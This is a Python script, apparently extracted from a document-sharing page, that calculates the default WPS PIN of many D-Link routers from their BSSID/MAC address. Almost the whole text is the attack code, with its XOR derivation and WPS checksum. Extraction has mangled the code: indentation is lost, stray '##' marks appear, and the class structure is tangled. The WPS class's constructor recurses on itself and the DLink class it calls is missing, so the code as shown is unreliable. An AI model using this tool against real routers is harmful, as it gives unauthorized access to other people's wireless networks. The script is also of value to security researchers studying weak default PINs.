You are on page 1of 2

# #!

/usr/bin/env python
#
# Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs.
#
# Craig Heffner
# Tactical Network Solutions

class WPSException(Exception):
pass

class WPS(object):

## def checksum(self, pin):

'''
Standard WPS checksum algorithm.

## Returns the checksum value.

'''
accum = 0

while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)

## return ((10 - accum % 10) % 10)

def __init__(self):
self.wps = WPS()

## def __mac2nic(self, mac):

'''
Parses out the NIC portion of an ASCII MAC address.

## @mac_address - An ASCII string MAC address or NIC,

with or without delimiters.

## Returns the NIC portion of the MAC address as an int.

'''
mac = mac.replace(':', '').replace('-', '')

if len(mac) == 12:
try:
nic = int(mac[6:], 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac[6:])
elif len(mac) == 6:
try:
nic = int(mac, 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac)
else:
raise WPSException("Invalid MAC address: [%s]" % mac)
return nic

## def generate(self, mac):

'''
Calculates the default WPS pin from the NIC portion of the MAC address.

## Returns the calculated default WPS pin, including checksum.

'''
nic = self.__mac2nic(mac)

## # Do some XOR operations on the NIC

pin = nic ^ 0x55AA55
pin = pin ^ (((pin & 0x0F) << 4) +
((pin & 0x0F) << 8) +
((pin & 0x0F) << 12) +
((pin & 0x0F) << 16) +
((pin & 0x0F) << 20))

## # The largest possible remainder for any value divided by 10,000,000

# is 9,999,999 (7 digits). The smallest possible remainder is, obviously,
0.
pin = pin % int(10e6)

## # If the pin is less than 1,000,000 (i.e., less than 7 digits)

if pin < int(10e5):
# The largest possible remainder for any value divided by 9 is
# 8; hence this adds at most 9,000,000 to the pin value, and at
# least 1,000,000. This guarantees that the pin will be 7 digits
# long, and also means that it won't start with a 0.
pin += ((pin % 9) * int(10e5)) + int(10e5);

# The final 8 digit pin is the 7 digit value just computed, plus a
# checksum digit.
return (pin * 10) + self.wps.checksum(pin)

if __name__ == '__main__':
import sys

try:
mac = sys.argv[1]
except IndexError:
print ("Usage: %s <mac>" % sys.argv[0])
sys.exit(1)

try:
print ("Default pin: %d" % DLink().generate(mac))
except WPSException as e:
print (str(e))
sys.exit(1)